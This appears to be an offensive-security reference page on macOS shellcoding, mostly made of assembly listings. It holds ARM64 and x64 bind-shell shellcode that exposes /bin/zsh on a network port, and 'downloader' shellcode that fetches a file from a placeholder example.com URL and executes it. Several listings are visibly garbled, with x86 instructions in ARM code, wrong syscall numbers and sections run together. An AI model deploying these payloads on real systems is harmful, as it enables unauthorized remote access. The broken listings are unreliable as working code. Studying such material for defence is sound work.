Why it matters in practice
macOS Shellcoding matters because it shapes how an operator scopes the work, chooses validation steps, prioritizes evidence and explains risk. The point is not to accumulate trivia; it is to understand which control boundary is in play and how that boundary can fail under realistic pressure.
This note keeps macos shellcoding tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.
Primary coverage
The items below mark the main workflows, concepts, tools and validation themes that repeatedly matter when working through macos shellcoding.
- Arm (silicon) makefile
- Arm (silicon) bind shell shellcode
- Arm (silicon) ftp downloader shellcode
- Arm (silicon) http downloader shellcode
- Arm (silicon) reverse shell shellcode
- Arm (silicon) orw shellcode (open, read, write)
- X64 makefile
- X64 bind shell shellcode
- X64 ftp downloader shellcode
- X64 http downloader shellcode
Selected public references
build: as hello_world.asm -o hello_world.o ld hello_world.o -o hello_world -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
.global _main .align 4 _main: mov X0, #2 ; domain = PF_INET mov X1, #1 ; type = SOCK_STREAM mov X2, XZR ; protocol = IPPROTO_IP mov X16, #97 ; BSD system call 97 for socket svc #0xFFF ; execute system call mov X11, X0 ; save socket descriptor mov X2, #16 ; address_len = 16 bytes mov X4, #0x200 ; sin_len = , sin family = 2 movk X4, #0xD204, lsl#16 ; sin_port = 1234 = 0x04D2 (big endian fot TCP/IP) stp X4, XZR, [SP,#-16]! ; push sockaddr_in to stack mov X1, SP ; pointer to sockaddr_in structure mov X16, #104 ; BSD system call 104 for bind svc #0xFFF ; execute system call mov X0, X11 ; restore saved socket descriptor mov X1, XZR ; backlog = null mov X16, #106 ; BSD system call 106 for listen svc #0xFFF ; execute system call mov X0, X11 ; resture saved socket descriptor mov X1, XZR ; ignore address store mov X2, XZR ; ignore length of address structure mov X16, #30 ; BSD system call 30 for accept svc #0xFFF ; execute system call mov X12, X0 ; save new socket descriptor mov X16, #90 ; BSD system call 90 for dup2 mov X1, #2 ; file descriptor 2 = STDERR svc #0xFFF ; execute system call mov X0, X12 ; restore ned socket descriptor mov X1, #1 ; file descriptor 1 = STDOUT svc #0xFFF ; execute system call mov X0, X12 ; restore new socket descriptor lsr X1, X1, #1 ; file descriptor 0 = STDIN svc #0xFFF ; execute system call mov X3, #0x622F ; move "/bin/zsh" into X3 (little endian in four moves) movk X3, #0x6E69, lsl#16 movk X3, #0x7A2F, lsl#32 movk X3, #0x6873, lsl#48 stp X3, XZR, [SP, #-16]! ; push path and terminating 0 to stack mov X0, SP ; save pointer to argv[0] stp X0, XZR, [SP,#-16]! ; push argv[0] and terminating 0 to stack mov X1, SP ; move pointer to argument array into X1 mov X2, XZR ; third argument for execve mov X16, #59 ; BSD system call 59 for execve svc #0xFFF ; execute system call
.section __TEXT,__text
.global _start
_start:
; URL of the file to download
mov x0, url
; Path where the file should be stored
mov x1, target_path
; download the file
xor x2, x2 ; Null-terminierte Zeichenkette
mov x16, 0x2000005 ; system call number for open
svc #0
; Create or open file
mov x0, x0 ; file descriptor
mov x2, 0x1000 ; buffer size
mov x1, buffer
xor x16, x16 ; read file
svc #0
; prepare a memory region for shellcode
mov x0, sp ; pointer to the stack
sub x0, x0, 0x1000 ; Verschieben um 4096 Bytes
mov x1, buffer
mov x2, x0 ; length of the shellcode that was read
mov x16, 0x200004 ; system call number for mmap
xor x10, x10 ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor x8, x8 ; file descriptor (ignored)
xor x9, x9 ; offset in file (ignored)
svc #0
; Shellcode in den Speicher kopieren
mov x0, x0 ; Zieladresse
mov x1, buffer
mov x2, x0 ; length of the shellcode
xor x16, x16 ; read file
svc #0
; execute shellcode
mov x0, x0 ; Shellcode-Adresse
xor x16, x16 ; Exit-Code 0
blr x0
; Programm beenden
mov w0, 0 ; Exit-Code 0
mov x16, 0x2000001 ; system call number for exit
svc #0
.section __DATA,__data
url: .asciz "ftp://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .space 4096.section __TEXT,__text
.global _start
_start:
; URL of the file to download
ldr x0, =url
; Path where the file should be stored
ldr x1, =target_path
; download the file
xor x2, x2 ; Null-terminierte Zeichenkette
mov x16, 0x2000005 ; system call number for open
svc #0
; Create or open file
mov x8, x0 ; file descriptor
mov x2, 0x1000 ; buffer size
ldr x1, =buffer
xor x0, x0 ; read file
mov x16, 0x2000003 ; system call number for read
svc #0
; prepare a memory region for shellcode
mov x0, sp ; pointer to the stack
sub x0, x0, 0x1000 ; Verschieben um 4096 Bytes
mov x1, x0 ; Zieladresse
mov x2, x0 ; size
mov x3, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXEC
mov x8, 0x0 ; Flags
mov x16, 0x200001f ; system call number for mmap
svc #0
; Shellcode in den Speicher kopieren
mov x1, x0 ; Zieladresse
ldr x2, =buffer
mov x3, x0 ; length of the shellcode
mov x0, x8 ; read file
mov x16, 0x2000003 ; system call number for read
svc #0
; execute shellcode
mov x0, x1 ; Shellcode-Adresse
blr x0
; Programm beenden
xor x0, x0 ; Exit-Code 0
mov x16, 0x2000001 ; system call number for exit
svc #0
.section __DATA,__data
url: .asciz "https://example.com/your_file.txt"
target_path: .asciz "/path/to/your_file.txt"
buffer: .skip 4096section __TEXT,__text
global _start
_start:
; open file
mov x0, 0 ; system call number for open
ldr x1, =path_to_file
eor x2, x2 ; Flags (O_RDONLY)
mov x16, 0x1000003 ; system call number for open
svc 0x80
; file descriptor in X0 speichern
mov x0, x0
; contents of the file buffer
mov x0, 1 ; system call number for read
mov x1, x0 ; file descriptor
ldr x2, =buffer
mov x3, 4096 ; maximum length of content to read
mov x16, 0x1000003 ; system call number for read
svc 0x80
; write the contents to standard output
mov x0, 1 ; system call number for write
mov x1, 1 ; file descriptor 1 (standard output)
ldr x2, =buffer
mov x3, x0 ; number of bytes read
mov x16, 0x1000003 ; system call number for write
svc 0x80
; Programm beenden
mov x0, 0 ; Exit-Code 0
mov x16, 0x1000001 ; system call number for exit
svc 0x80
section __DATA,__data
path_to_file: .asciz "/path/to/file.txt"
buffer: .space 4096build: nasm -f macho64 execute_command.asm ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem execute_command.o -o execute_command
bits 64 global _main _main: ;socket push 0x2 pop rdi ; RDI = AF_INET = 2 push 0x1 pop rsi ; RSI = SOCK_STREAM = 1 xor rdx, rdx ; RDX = IPPROTO_IP = 0 ;store syscall number on RAX push 0x61 ; put 97 on the stack (socket syscall#) pop rax ; pop 97 to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall mov r9, rax ; save socket number ; bind mov rdi, r9 ; put saved socket fd value to RDI = socket fd ; Begin building the memory structure on the stack xor rsi, rsi ; RSI = sin_zero[8] = 0x0000000000000000 push rsi ; ; next entry on the stack should be 0x00000000 5c11 02 00 = (sin_addr .. sin_len) mov esi, 0x5c110201 ; port sin_port=0x115c, sin_family=0x02, sin_len=0x01 dec esi ; sin_len=0x00 push rsi ; push RSI (=0x000000005c110200) to the stack push rsp pop rsi ; RSI = RSP = pointer to the structure push 0x10 pop rdx ; RDX = 0x10 (length of socket structure) ;store syscall number on RAX push 0x68 ; put 104 on the stack (bind syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall ;listen mov rdi, r9 ; put saved socket fd value to RDI xor rsi, rsi ; RSI = 0 ;store syscall number on RAX push 0x6a ; put 106 on the stack (listen syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall ;accept mov rdi, r9 ; put saved socket fd value to RDI xor rsi, rsi ; *address = RSI = 0 xor rdx, rdx ; *address_len = RDX = 0 ;store syscall number on RAX push 0x1e ; put 30 on the stack (accept syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall mov r10,rax ; save returned connection file descriptor into R10 ;dup2 mov rdi, r10 ; put the connection file descriptor into RDI push 2 pop rsi ; set RSI = 2 dup2_loop: ; beginning of our loop push 0x5a ; put 90 on the stack (dup2 syscall#) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall ; trigger syscall dec rsi ; decrement RSI jns dup2_loop ; jump back to the beginning of the loop if RSI>=0 ;execv xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move our string into RBX push rbx ; push the string we stored in RBX to the stack mov rdi, rsp ; store the stack pointer in RDI push rdx ; argv[1] = 0 push rdi ; argv[0] = /bin/zsh mov rsi, rsp ; argv = rsp - store RSP's value in RSI push 59 ; put 59 on the stack pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 syscall
section __TEXT,__text
global _start
_start:
; URL of the file to download
mov rdi, url
; Path where the file should be stored
mov rsi, target_path
; download the file
xor rdx, rdx ; Null-terminierte Zeichenkette
mov rax, 0x2000005 ; system call number for open
syscall
; Create or open file
mov rdi, rax ; file descriptor
mov rdx, 0x1000 ; buffer size
mov rsi, buffer
xor rax, rax ; read file
syscall
; prepare a memory region for shellcode
mov rdi, rsp ; pointer to the stack
sub rdi, 0x1000 ; Verschieben um 4096 Bytes
mov rsi, buffer
mov rdx, rax ; length of the shellcode that was read
mov rax, 0x200004 ; system call number for mmap
xor r10, r10 ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
xor r8, r8 ; file descriptor (ignored)
xor r9, r9 ; offset in file (ignored)
syscall
; Shellcode in den Speicher kopieren
mov rdi, rax ; Zieladresse
mov rsi, buffer
mov rdx, rax ; length of the shellcode
xor rax, rax ; read file
syscall
; execute shellcode
mov rdi, rax ; Shellcode-Adresse
xor rax, rax ; Exit-Code 0
call rdi
; Programm beenden
xor edi, edi ; Exit-Code 0
mov rax, 0x2000001 ; system call number for exit
syscall
section __DATA,__data
url: db "ftp://example.com/your_file.txt", 0
target_path: db "/path/to/your_file.txt", 0
buffer: times 4096 db 0Selected public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io ยท Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
